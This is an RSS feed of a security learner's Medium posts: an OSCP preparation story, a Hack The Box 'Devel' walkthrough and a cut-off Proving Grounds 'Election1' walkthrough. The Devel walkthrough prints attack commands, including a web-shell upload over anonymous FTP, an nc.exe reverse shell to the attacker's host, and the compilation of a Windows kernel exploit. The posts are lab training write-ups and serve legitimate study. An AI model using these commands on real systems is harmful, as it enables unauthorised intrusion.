<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Wagan Arora on Medium]]></title>
        <description><![CDATA[Stories by Wagan Arora on Medium]]></description>
        <link>https://medium.com/@wagan-arora?source=rss-2a87f19a7295------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*3672mdGXBUH39fHZBaL_uQ.jpeg</url>
            <title>Stories by Wagan Arora on Medium</title>
            <link>https://medium.com/@wagan-arora?source=rss-2a87f19a7295------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 28 Nov 2026 16:01:26 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@wagan-arora/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[How I Passed the OSCP: My Journey and Tips]]></title>
            <link>https://medium.com/@wagan-arora/how-i-passed-the-oscp-my-journey-and-tips-14281d49908b?source=rss-2a87f19a7295------2</link>
            <guid isPermaLink="false">https://medium.com/p/14281d49908b</guid>
            <dc:creator><![CDATA[Wagan Arora]]></dc:creator>
            <pubDate>Tue, 24 Jun 2025 04:42:24 GMT</pubDate>
            <atom:updated>2025-06-24T04:42:24.792Z</atom:updated>
            <content:encoded><![CDATA[<h3>Introduction</h3><p><strong>Hello guys 👋👋</strong><br>I recently passed the <strong>OSCP+ certification on my first attempt</strong>, and after posting about it on LinkedIn, I received a lot of questions about the resources I used, my preparation strategy, and overall methodology.<br>So in this write-up, I’m going to share <strong>how I prepared, what I practiced, and how I planned</strong> for this challenging exam.</p><p>I am a <strong>self-taught cybersecurity enthusiast</strong>. I started with platforms like <strong>OverTheWire</strong>, <strong>PicoCTF</strong>, <strong>TryHackMe</strong>, <strong>Hack The Box</strong>, <strong>VulnHub</strong>, and <strong>Proving Grounds Practice</strong>, and later moved on to <strong>OffSec’s PEN-200 course</strong>.<br>After months of consistent effort, hands-on practice, and learning from every mistake, I successfully passed the <strong>OSCP+ certification</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/847/0*sQZ4NdSgBcxkjrAm.png" /></figure><h3>Preparation</h3><p>I didn’t have any official cybersecurity experience prior to starting my OSCP journey. As a self-taught learner, I began by laying a solid foundation using websites like <strong>Hack The Box</strong>, <strong>TryHackMe, VulnHub, PicoCTF</strong>, and <strong>OverTheWire</strong>. These platforms assisted me in becoming familiar with Active Directory, web vulnerabilities, basic networking, Linux and Windows commands, and privilege escalation.</p><h3>OverTheWire:</h3><p>Let’s start with <strong>OverTheWire</strong>. When I began with OverTheWire, I had absolutely no clue about Linux. I tried figuring things out on my own, but honestly, it was pretty overwhelming at times. Eventually, I turned to some beginner-friendly Linux tutorials. Thankfully, there are tons of free ones online. Little by little, things started to click and I began to feel more comfortable with Linux.</p><p>From there, I slowly worked my way through the labs. Whenever I got stuck or something felt too challenging, I didn’t hesitate to check the hints. They were super helpful not just for getting past roadblocks, but for actually understanding what was going on. Every time I used a hint, I ended up learning something new and meaningful.</p><h3>PicoCTF:</h3><p>After OverTheWire, I moved on to PicoCTF, which played a huge role in shaping how I approach problems. It introduced me to key cybersecurity concepts like web exploitation and cryptography all wrapped in a fun, gamified experience. Each challenge felt like a mini CTF beginner-friendly on the surface, but some were tricky enough to push me to think harder and dive deeper into research.</p><p>It wasn’t just about getting the right answer it was about learning how to break down problems and tackle them step by step. Looking back, PicoCTF was the perfect bridge that helped me build confidence before jumping into more hands-on platforms like TryHackMe and Hack The Box.</p><h3>Tryhackme:</h3><p>By the time I got to TryHackMe, I had already built a decent foundation in Linux and basic web concepts. TryHackMe helped me take things further I sharpened my skills in web exploitation, network service enumeration, and privilege escalation on both Linux and Windows systems.</p><p>I still remember struggling with the Vulnversity CTF while working on it with a friend. I couldn’t complete it at the time, and it was frustrating. But instead of giving up, I shifted my focus to simpler machines. Gradually, as my confidence grew, I started tackling medium difficulty challenges and eventually, I was solving the hard ones too.</p><p>In the end, I completed over 250 CTFs on TryHackMe. By that point, my grasp of Active Directory, web exploitation, and network enumeration had become pretty solid and I felt ready to take on even bigger challenges.</p><h3>Vulnhub:</h3><p>I spent some time working on Vulnhub machines.<br>Some of them were very well designed and educational, while others felt slightly unrealistic or poorly structured. Still, I made it a point to learn something from each machine, which I settled down. Either the box was great or not, each one helped to speed up my skills and the way I fulfilled the problems.</p><p>I also went through all free machines listed in Lankusanagi’s OSCP -like list and Netecfocus Trophy Room (also known as Tjnull’s list). These were incredibly useful for exercising the OSCP-style-he gave me a valuable hand experience, which closed the closely copied examiner atmosphere.</p><h3>Hackthebox:</h3><p>Then came Hack The Box something that had become a dream for me.<br>I had tried many times in the past, but I just couldn’t solve a Hack The Box machine. It always felt too difficult. So I decided to work on my skills first.</p><p>By now, I had already solved a good number of machines on OverTheWire, PicoCTF, and TryHackMe VulnHub. I felt confident — maybe now I could finally tackle Hack The Box. But it was a whole different world.</p><p>TryHackMe machines were great, but they had more of a CTF-style or gamified feel. The moment I switched to Hack The Box, my confidence dropped. Everything felt more realistic and advanced.</p><p>I picked a Linux machine, thinking I could handle it. But I couldn’t solve it on my own I had to use a walkthrough.<br>That’s when my mindset started to change.</p><p>A lot of people think using walkthroughs is wrong. But it depends on how you use them. If you’re just copying and pasting, you’re not learning. But if you’re using them to understand the logic and learn new techniques, that’s growth.</p><p>Every time I used a walkthrough, I made sure to understand why and how something worked. And the next time I faced a similar issue, I didn’t need the walkthrough I could solve it myself. Slowly, I started solving Hack The Box machines without any hints or walkthroughs.</p><p>In the end, I solved over 150+ machines on Hack The Box. I completed almost all the Linux, windows easy machines. I also focused on Windows, Active Directory, and any machine that felt similar to OSCP-style challenges. At one point, I had completed almost every machine available on the platform.</p><p>My confidence grew a lot during this time. I became so comfortable with Hack The Box that I started using LainKusanagi’s OSCP-like machine list and NetSecFocus Trophy Room (TJNull’s list) as mock tests to prepare for the OSCP exam.</p><h3>Proving Grounds Practice:</h3><p>After completing many machines on TryHackMe, Hack The Box, and VulnHub, I moved on to Proving Grounds Practice a platform that’s the closest to the actual OSCP exam environment.<br>Even though I had already done hundreds of CTF style machines on other platforms, the difficulty level on Proving Grounds felt completely different.</p><p>Proving Grounds Practice is developed by OffSec itself, and many of the machines are created by OffSec. This gives them a unique and realistic feel that truly reflects what you face in the exam.</p><p>At first, I struggled a bit to get used to the platform things didn’t always work the way I expected, and it took me some time to figure out . But after solving 2–3 machines, I became comfortable and adapted to the platform.</p><p>Just like with Hack The Box, I treated every OSCP-like machine and all machines from the NetSecFocus Trophy Room (TJNull’s list) as full mock exams. On some days, I was even able to solve 6–7 machines with ease.</p><p>In total, I completed over 100+ CTF machines on Proving Grounds Practice, and by the end of this phase, my skills were solid and I felt fully prepared for the OSCP exam.</p><h3>Time to Buy the Course:</h3><p>After completing a lot of machines on TryHackMe, Hack The Box, and Proving Grounds Practice, I finally enrolled in the OSCP and started working through the <strong>PEN-200 course</strong>.<br>Since I was already familiar with most of the content, I was able to finish the course material quickly for me, it was more like a revision than learning something new.</p><p>Once I completed the course and exercises, I moved on to the PEN-200 Challenge Labs.</p><h3>PEN-200 (OSCP ) Challenge Labs Experience:</h3><p><strong>secura:</strong><br>This was the first challenge lab I attempted, and it helped me understand the structure and style of PEN-200 labs. Because of my previous practice, I found it very easy and completed the entire lab in just one day.</p><p><strong>MedTech:</strong><br>This lab was also fairly easy, though it felt slightly more challenging in a few areas compared to Secura. I took my time and completed it steadily without much difficulty.</p><p><strong>Relia:</strong><br>Relia was a bit more difficult for me. Some machines were quite hard, while others felt simple. Still, I managed to get through it — it really helped me improve my problem-solving and persistence.</p><p><strong>Zeus &amp; Poseidon</strong><br>Both of these labs felt just like Secura very easy and fun to solve. I completed them smoothly and really enjoyed the process.</p><p>By this point, I had completed all the PEN-200 Challenge Labs — except Skylark, which I skipped.</p><p><strong>OffSec Mock Exams: OSCP-A, OSCP-B, and OSCP-C</strong></p><p>After finishing the labs, I attempted the <strong>OSCP-A, OSCP-B, and OSCP-C</strong> mock exams provided by OffSec. I treated them like real OSCP challenges, and I was able to solve them all comfortably.</p><h3>Exam Experience: OSCP+ day</h3><p>As the exam day got closer, I started feeling very nervous.<br>I was so anxious that I couldn’t sleep properly for two nights. The night before the exam was the worst I kept waking up again and again, maybe 10 to 12 times. In the morning, I felt tired, stressed, and had no energy. It was definitely not the best way to start such an important day.</p><p>My exam was at 11:30 AM, and I was already feeling sleepy because of the lack of sleep.</p><p>Before starting, I went to a nearby temple to calm myself down. That short visit helped me relax and clear my mind. I came back home, took a deep breath. and finally sat down to begin the OSCP exam.</p><p>I was a bit nervous about the proctoring at first, but the OffSec team was incredibly professional and supportive throughout the process.</p><p>My exam officially started around 11:50 AM. I began with the Active Directory (AD) set, and within the first 15 minutes, I had already completed the first AD machine.<br>Soon after that, I gained access to the second one, and within 35 minutes, I had completed the entire AD set.</p><p>To be honest, the AD set felt very easy to me. By the end of those 35 minutes, I already had 40 points.</p><p>Next, I moved on to the standalone machines, and they also felt manageable.<br>I was able to complete one of the standalone boxes in just 30 minutes, earning another 20 points.</p><p>At this point, I had already secured 60 points, so I decided to take a long break to relax and recharge. After the break, I came back and started working on the second standalone machine.<br>It was also quite easy and within around 50 minutes, I managed to complete it as well.</p><p>After dinner, I went to sleep for a few hours. I woke up early the next morning around 5 AM and got back to work.<br>Within a short time, I gained a local shell on the third machine, bringing my total to 90 points.</p><p>I noticed a privilege escalation path on the last machine, but at that point, I decided to ignore it. Instead, I focused on taking all the necessary Screenshots for the exam report.</p><p>By this time, my brain had completely shut down I had been awake for nearly 55 to 60 hours with barely any proper sleep. I was exhausted, but I stayed focused enough to double-check all my screenshots and notes.</p><p>Once I made sure everything was documented properly, I ended the exam.</p><p>After the exam, I took some rest and then sat down to prepare my OSCP exam report.<br>I started working on the report that night itself, added all the necessary screenshots, commands, and explanations, and then went to sleep.</p><p>The next morning, I woke up, carefully reviewed the entire report, made sure everything was correct, and finally submitted it.</p><p>Shortly after submitting my report, I received a message from OffSec:<br><strong>Congratulations! You have passed the OSCP+.</strong></p><p>That moment was unforgettable. All the hard work, sleepless nights, and hours of practice had finally paid off.</p><h3>Resources:</h3><ul><li><a href="https://overthewire.org/wargames/">OverTheWire</a></li><li><a href="https://picoctf.org/">picoctf</a></li><li>V<a href="https://www.vulnhub.com/">ulnHub</a></li><li><a href="https://tryhackme.com/">TryHackMe</a></li><li><a href="https://www.hackthebox.com/">Hackthebox</a></li><li><a href="https://portal.offsec.com/labs/practice">Proving Grounds Practice</a></li><li><a href="https://docs.google.com/spreadsheets/u/0/d/18weuz_Eeynr6sXFQ87Cd5F0slOj9Z6rt/htmlview">LainKusanagi list of OSCP like machines</a></li><li><a href="https://docs.google.com/spreadsheets/u/0/d/1dwSMIAPIam0PuRBkCiDI88pU3yzrqqHkDtBngUHNCw8/htmlview?pli=1#">NetSecFocus Trophy Room (TJNUll)</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=14281d49908b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Devel From HackTheBox]]></title>
            <link>https://medium.com/@wagan-arora/devel-from-hackthebox-797bc5ada5bc?source=rss-2a87f19a7295------2</link>
            <guid isPermaLink="false">https://medium.com/p/797bc5ada5bc</guid>
            <dc:creator><![CDATA[Wagan Arora]]></dc:creator>
            <pubDate>Mon, 17 Mar 2025 15:31:08 GMT</pubDate>
            <atom:updated>2025-03-17T15:31:08.344Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/852/1*IfKOwsYBTjxtmXLcBxT5WA.png" /></figure><h3>About Devel</h3><p>uploaded an ASPX command shell via FTP and executed it in the web application to gain initial access. Afterward, I obtained a netcat shell and exploited a kernel vulnerability to escalate privileges to the system level.</p><h3>Reconnaissance:</h3><blockquote>First we should scan with nmap so we can check which ports are open.</blockquote><blockquote>Nmap:</blockquote><pre>nmap -p- -sC -sV -sT --open -v -oN FullTcpScan.txt 10.129.232.75</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9qodG6pCAuNcKzuGpvd7QQ.png" /></figure><blockquote>-sC: run default nmap scripts<br> -sV: detect service version<br>-oA: output all formats and store in file<em> NmapServiceScan.txt</em></blockquote><p>After running a quick Nmap scan, I discovered that two ports are open: Port 21, which is running FTP (File Transfer Protocol), and Port 80, which is running HTTP (Hypertext Transfer Protocol). On port 80, I observed that Windows IIS7 is running. Additionally, on port 21, anonymous access is enabled, allowing us to log in to the FTP server with weak credentials.</p><h3>Enumeration:</h3><p>TCP — 21 FTP (File Transfer Protocol) <br>Anonymous access is enabled on the FTP server, allowing anyone to log in with an anonymous username and any password.</p><pre>ftp ftp://anonymous:anonymous@10.129.237.39/</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TAars_EMKA0cmP-KF6nbDw.png" /></figure><p>We’ll check if those files exist on the IIS website or not.<br>After visiting the IIS website, I can confirm that these files exist on the website: `<a href="http://10.129.220.96/welcome.png%60">http://10.129.220.96/welcome.png`</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JRQBWoUwYMBVSY3YMIbYJA.png" /></figure><p>So, what’s next? Shall we check if I can upload a file to the FTP server?</p><p>Create a file and upload.</p><p>CMD:</p><pre>echo &quot;Hello&quot; &gt;&gt; FileUpload.txt<br>curl -T FileUpload.txt  ftp://anonymous:anonymous@10.129.237.39<br>ftp ftp://anonymous:anonymous@10.129.237.39/</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kWynAj5mvnB5-z7eoK8khg.png" /></figure><p>Let’s see if the file uploads to the website.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rbwPYiyaWdnirO3tW-Af_g.png" /></figure><p>We can upload file in ftp. Let’s use the aspx payload.</p><pre>locate cmd-asp-5.1.asp </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*H2oWwShntp3qCh_uqIk0-w.png" /></figure><pre>echo put cmd-asp-5.1.asp | ftp ftp://anonymous:anonymous@10.129.220.96</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*p41KRneRMl5TIM01zg-PZw.png" /></figure><p>The file we have uploaded in FTP has been executed in the website.</p><p><a href="http://10.129.220.96/cmd-asp-5.1.asp">http://10.129.220.96/cmd-asp-5.1.asp</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-121wSMqHAZ_WsK2aaNf7w.png" /></figure><p>Now we can run commands on the IIS website.</p><h3>Initial Access:</h3><p>Shell as iis apppool\web .</p><p>start smb share in kali and upload nc.exe</p><pre>sudo python3 /usr/share/doc/python3-impacket/examples/smbserver.py kali .</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZGo9jnt03RgY1r6fW7AS2g.png" /></figure><p>Stable shell with nc.exe.</p><pre>\\10.10.16.8\kali\nc.exe -e cmd 10.10.16.8 443<br></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WCs2tSdXtTiSww1566bD2Q.png" /></figure><p>Then `nc` gets a shell:</p><pre>$ rlwrap  -f . -r nc  -nvlp 443</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1020/1*H98KgF7sp9WkZQIqrtGNLQ.png" /></figure><h3>Privilege Escalation : → `nt authority\system`</h3><pre>systeminfo</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/795/1*83kXpgM7osUZqL9QpQBnGQ.png" /></figure><p>Our target is a Microsoft Windows 7 build 7600 system. And In this case, no `hotfixes` have been applied. Since it’s an older version, there are many possibilities for finding exploits to target this specific version.</p><p>What are `Hotfixes`? Hotfixes are typically applied to high- or severe-priority bugs that require immediate correction, such as a bug that breaks the functionality or security of the software. “Hotfix(s): N/A” indicates that there are no specific patches or updates (hotfixes) provided by the software vendor to address privilege escalation vulnerabilities. This means that the identified vulnerabilities related to privilege escalation may not have official patches available.</p><p>Let’s search for exploits targeting this version online.</p><pre>firefox --search  &quot;Windows 7 Enterprise 6.1.7600  site:exploit-db.com    intext:privilege escalation   intitle:Windows (x86) before:2017&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FZg-QRkDwEbdUH9YEBDHRg.png" /></figure><p>We found an exploit! Here’s the link to the exploit: <a href="https://www.exploit-db.com/exploits/40564">https://www.exploit-db.com/exploits/40564</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Hb9FBCzBWQerS-QkN_dIPA.png" /></figure><p>Get the EDB-ID from the `exploit-db.com` web page,So now that we have the EDB ID, we can search for this exploit on our machine using Searchsploit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/418/1*HPu8O7kF9A79NwPMHOfZMQ.png" /></figure><pre>$ searchsploit -m 40564</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QvWuCwJgHJKpUcFE-11OZw.png" /></figure><p>Compiling exploit for a 32-bit system.</p><pre>i686-w64-mingw32-gcc 40564.c -o MS11-046.exe -lws2_32</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/985/1*kyc_-i7UpJ4VCRcxU2zqfw.png" /></figure><p>After uploading the exploit, change directory to the FTP location and then execute our exploit.</p><pre>cd C:\inetpub\wwwroot<br></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/929/1*ywZoAaTd9a1UnXMr2wIMVg.png" /></figure><p>Now we have NT Authority/System privileges on this machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MA71utnmhsVLwFdZY4ApgQ.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=797bc5ada5bc" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Proving Grounds Play — Election1]]></title>
            <link>https://medium.com/@wagan-arora/proving-grounds-play-election1-73db7e739b6a?source=rss-2a87f19a7295------2</link>
            <guid isPermaLink="false">https://medium.com/p/73db7e739b6a</guid>
            <dc:creator><![CDATA[Wagan Arora]]></dc:creator>
            <pubDate>Mon, 17 Mar 2025 10:12:34 GMT</pubDate>
            <atom:updated>2025-03-17T11:38:43.955Z</atom:updated>
            <content:encoded><![CDATA[<h3>Proving Grounds Play — Election1</h3><p>Machine Link: <a href="https://portal.offsec.com/labs/play">https://portal.offsec.com/labs/play</a></p><p><strong>About me</strong>:</p><p>Hey there! I’m <strong>Sameer Wagan</strong>, aka <strong>Wagan Arora</strong>, a cybersecurity enthusiast on a mission to conquer <strong>OSCP</strong>.</p><h3>Summary</h3><p>Election1 is a Linux machine categorized as an Intermediate box on Proving Grounds Play. We start by performing a basic <strong>Nmap</strong> scan, followed by enumeration of a web-based <strong>Election System</strong>. Further enumeration with <strong>Gobuster</strong> reveals log files containing plaintext credentials. Using this password, we gain access via <strong>SSH</strong>.</p><p>For privilege escalation, we use a <strong>public exploit from Exploit-DB</strong> to obtain a root shell.</p><p>Additionally, there is an alternative way to exploit this box by leveraging <strong>PHP file write</strong> on the web server through <strong>phpMyAdmin</strong>. Another possible vector involves <strong>manual SQL injection leading to remote code execution</strong> in the Election System.</p><h3>Initial Access</h3><p>Nmap TCP basic scan.</p><p>I created these files and directories to <strong>organize everything</strong> while working on the <strong>Election1</strong> machine</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/793/1*8VI2ZuxZkuiEz7trxTgi8A.png" /></figure><p>First, I will export the Election1 machine’s IP into my terminal, so we don’t need to remember it.</p><pre>$ export IP=&quot;192.168.231.211&quot;<br>                                                                                                                                                                            <br>┌──(kali㉿kali)-[~/…/ctf/pg/play/Election1]<br>└─$ echo $IP                   <br>192.168.231.211</pre><p>We start by scanning the <strong>Election1</strong> machine using nmap to <strong>enumerate open ports and services</strong>.</p><p>To scan all TCP ports quickly, I used the following nmap command without running default scripts or service version detection.</p><pre>┌──(kali㉿kali)-[~/…/pg/play/Election1/scan]<br>└─$ nmap --min-rate 3000 -p-  $IP -oN Nmap-Fast.txt -vv <br>Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-17 01:07 EDT<br>Initiating Ping Scan at 01:07<br>Scanning 192.168.231.211 [4 ports]<br>Completed Ping Scan at 01:07, 0.12s elapsed (1 total hosts)<br>Initiating Parallel DNS resolution of 1 host. at 01:07<br>Completed Parallel DNS resolution of 1 host. at 01:07, 0.08s elapsed<br>Initiating SYN Stealth Scan at 01:07<br>Scanning 192.168.231.211 [65535 ports]<br>Discovered open port 22/tcp on 192.168.231.211<br>Discovered open port 80/tcp on 192.168.231.211<br>Completed SYN Stealth Scan at 01:07, 21.94s elapsed (65535 total ports)<br>Nmap scan report for 192.168.231.211<br>Host is up, received echo-reply ttl 61 (0.087s latency).<br>Scanned at 2025-03-17 01:07:27 EDT for 21s<br>Not shown: 65533 closed tcp ports (reset)<br>PORT   STATE SERVICE REASON<br>22/tcp open  ssh     syn-ack ttl 61<br>80/tcp open  http    syn-ack ttl 61</pre><h3>Nmap Scan Results</h3><p>From the <strong>Nmap scan</strong>, we found two open ports:</p><ul><li><strong>Port 22</strong> → SSH</li><li><strong>Port 80</strong> → HTTP</li></ul><p>Now, we perform a service and default script scan on these ports to gather more information</p><pre>┌──(kali㉿kali)-[~/…/pg/play/Election1/scan]<br>└─$ nmap -sC -sV $IP -oN Nmap-service.txt -p22,80<br>Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-17 01:08 EDT<br>Nmap scan report for 192.168.231.211<br>Host is up (0.087s latency).<br><br>PORT   STATE SERVICE VERSION<br>22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>|   2048 20:d1:ed:84:cc:68:a5:a7:86:f0:da:b8:92:3f:d9:67 (RSA)<br>|   256 78:89:b3:a2:75:12:76:92:2a:f9:8d:27:c1:08:a7:b9 (ECDSA)<br>|_  256 b8:f4:d6:61:cf:16:90:c5:07:18:99:b0:7c:70:fd:c0 (ED25519)<br>80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))<br>|_http-title: Apache2 Ubuntu Default Page: It works<br>|_http-server-header: Apache/2.4.29 (Ubuntu)<br>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel<br><br>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br>Nmap done: 1 IP address (1 host up) scanned in 9.84 seconds</pre><p>After running <strong>Nmap</strong>, we discovered the following service versions:</p><ul><li><strong>Port 22 (SSH)</strong> → <strong>OpenSSH 7.6p1</strong> (Ubuntu 4ubuntu0.3)</li><li><strong>Port 80 (HTTP)</strong> → <strong>Apache HTTPD 2.4.29</strong> (Ubuntu)</li></ul><h3>Further Enumeration — SSH Username Enumeration</h3><p>During further enumeration, I found that the <strong>OpenSSH 7.6p1</strong> version is <strong>vulnerable to username enumeration</strong> due to <strong>CVE-2018–15473</strong>.</p><p>This vulnerability allows an attacker to <strong>enumerate valid usernames</strong> by analyzing the server’s response during authentication attempts. We will try this <strong>later</strong>.</p><p>Since we don’t have much information yet, let’s move on to <strong>Port 80 (HTTP)</strong> and perform deeper enumeration to discover potential attack vectors.</p><h4>Web Page Enumeration</h4><p>When we visit the website hosted on <strong>Port 80</strong>, we see the <strong>Apache default web page</strong>, Now, we should perform further enumeration to look for hidden directories and files.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-h4FQjFrAdItnP9wQeITaQ.png" /></figure><p>First, I will export the <strong>URL</strong> to simplify commands. Then, we will perform <strong>directory fuzzing</strong> to identify hidden directories. After that, we will conduct <strong>file fuzzing</strong> to look for important files</p><pre>┌──(kali㉿kali)-[~/…/pg/play/Election1/scan]<br>└─$ export URL=&quot;http://192.168.231.211/&quot;<br>                                                                                                                                                                            <br>┌──(kali㉿kali)-[~/…/pg/play/Election1/scan]<br>└─$ gobuster dir -u $URL -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -k -t 30 -o DirectoriesFuzz.txt<br><br>===============================================================<br>Gobuster v3.6<br>by OJ Reeves (@TheColonial) &amp; Christian Mehlmauer (@firefart)<br>===============================================================<br>[+] Url:                     http://192.168.231.211/<br>[+] Method:                  GET<br>[+] Threads:                 30<br>[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt<br>[+] Negative Status codes:   404<br>[+] User Agent:              gobuster/3.6<br>[+] Timeout:                 10s<br>===============================================================<br>Starting gobuster in directory enumeration mode<br>===============================================================<br>/javascript           (Status: 301) [Size: 323] [--&gt; http://192.168.231.211/javascript/]<br>/phpmyadmin           (Status: 301) [Size: 323] [--&gt; http://192.168.231.211/phpmyadmin/]<br>/server-status        (Status: 403) [Size: 280]<br>/election             (Status: 301) [Size: 321] [--&gt; http://192.168.231.211/election/]<br>Progress: 23965 / 30000 (79.88%)[ERROR] parse &quot;http://192.168.231.211/error\x1f_log&quot;: net/url: invalid control character in URL<br>Progress: 29999 / 30000 (100.00%)<br>===============================================================<br>Finished<br>===============================================================</pre><p>Similarly, we will <strong>fuzz for files</strong>:</p><pre>┌──(kali㉿kali)-[~/…/pg/play/Election1/scan]<br>└─$ gobuster dir -u $URL -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt  -k -t 30  -o filesFuzz.txt<br><br>===============================================================<br>Gobuster v3.6<br>by OJ Reeves (@TheColonial) &amp; Christian Mehlmauer (@firefart)<br>===============================================================<br>[+] Url:                     http://192.168.231.211<br>[+] Method:                  GET<br>[+] Threads:                 30<br>[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt<br>[+] Negative Status codes:   404<br>[+] User Agent:              gobuster/3.6<br>[+] Timeout:                 10s<br>===============================================================<br>Starting gobuster in directory enumeration mode<br>===============================================================<br>/index.html           (Status: 200) [Size: 10918]<br>/.htaccess            (Status: 403) [Size: 280]<br>/robots.txt           (Status: 200) [Size: 30]<br>/phpinfo.php          (Status: 200) [Size: 95444]<br>/.                    (Status: 200) [Size: 10918]<br>/.html                (Status: 403) [Size: 280]<br>/.php                 (Status: 403) [Size: 280]<br>/.htpasswd            (Status: 403) [Size: 280]<br>/.htm                 (Status: 403) [Size: 280]<br>/.htpasswds           (Status: 403) [Size: 280]<br>/.htgroup             (Status: 403) [Size: 280]<br>/wp-forum.phps        (Status: 403) [Size: 280]<br>/.htaccess.bak        (Status: 403) [Size: 280]<br>/.htuser              (Status: 403) [Size: 280]<br>/.ht                  (Status: 403) [Size: 280]<br>/.htc                 (Status: 403) [Size: 280]<br>Progress: 17129 / 17130 (99.99%)<br>===============================================================<br>Finished<br>===============================================================</pre><p>After running <strong>Gobuster</strong>, we discovered two directories: <strong>/phpmyadmin</strong> and <strong>/election</strong>, along with the files <strong>/robots.txt</strong> and <strong>/phpinfo.php</strong>. Next, we will explore these directories and files to gather more information and identify potential vulnerabilities.</p><p>Let’s visit phpinfo.php first to gather more information.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZrdAoQM0XTR9I6WTT-Oe2w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/887/1*-2kYvqwXYsOdLA0PWZ2giw.png" /></figure><p>The <strong>phpinfo.php</strong> file reveals the target system’s OS version: <strong>Linux election 5.4.0–120-generic #136~18.04.1-Ubuntu</strong>. It also discloses the <strong>web server’s running location</strong>: <strong>/var/www/html/phpinfo.php</strong>. This information may help us in further exploitation.</p><p>Next, let’s run <strong>Gobuster</strong> on the <strong>/election</strong> directory to enumerate hidden files and subdirectories, which may reveal sensitive information or potential attack vectors.</p><pre>$ gobuster dir -u $URL -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt  -k -t 30  -o election-gobuster.txt <br><br>===============================================================<br>Gobuster v3.6<br>by OJ Reeves (@TheColonial) &amp; Christian Mehlmauer (@firefart)<br>===============================================================<br>[+] Url:                     http://192.168.231.211/election/<br>[+] Method:                  GET<br>[+] Threads:                 30<br>[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt<br>[+] Negative Status codes:   404<br>[+] User Agent:              gobuster/3.6<br>[+] Timeout:                 10s<br>===============================================================<br>Starting gobuster in directory enumeration mode<br>===============================================================<br>/admin                (Status: 301) [Size: 327] [--&gt; http://192.168.231.211/election/admin/]<br>/lib                  (Status: 301) [Size: 325] [--&gt; http://192.168.231.211/election/lib/]<br>/data                 (Status: 301) [Size: 326] [--&gt; http://192.168.231.211/election/data/]<br>/languages            (Status: 301) [Size: 331] [--&gt; http://192.168.231.211/election/languages/]<br>/js                   (Status: 301) [Size: 324] [--&gt; http://192.168.231.211/election/js/]<br>/themes               (Status: 301) [Size: 328] [--&gt; http://192.168.231.211/election/themes/]<br>/media                (Status: 301) [Size: 327] [--&gt; http://192.168.231.211/election/media/]<br>Progress: 23984 / 30000 (79.95%)[ERROR] parse &quot;http://192.168.231.211/election/error\x1f_log&quot;: net/url: invalid control character in URL<br>Progress: 29999 / 30000 (100.00%)<br>===============================================================<br>Finished<br>===============================================================</pre><p>When we visit <strong>/admin</strong>, we see a <strong>Web Based Election System<br>Tripath Projects</strong> <strong>login page</strong>. Since we don’t have any credentials at the moment, we will move on for now but come back to exploit it later.</p><p>Let’s run 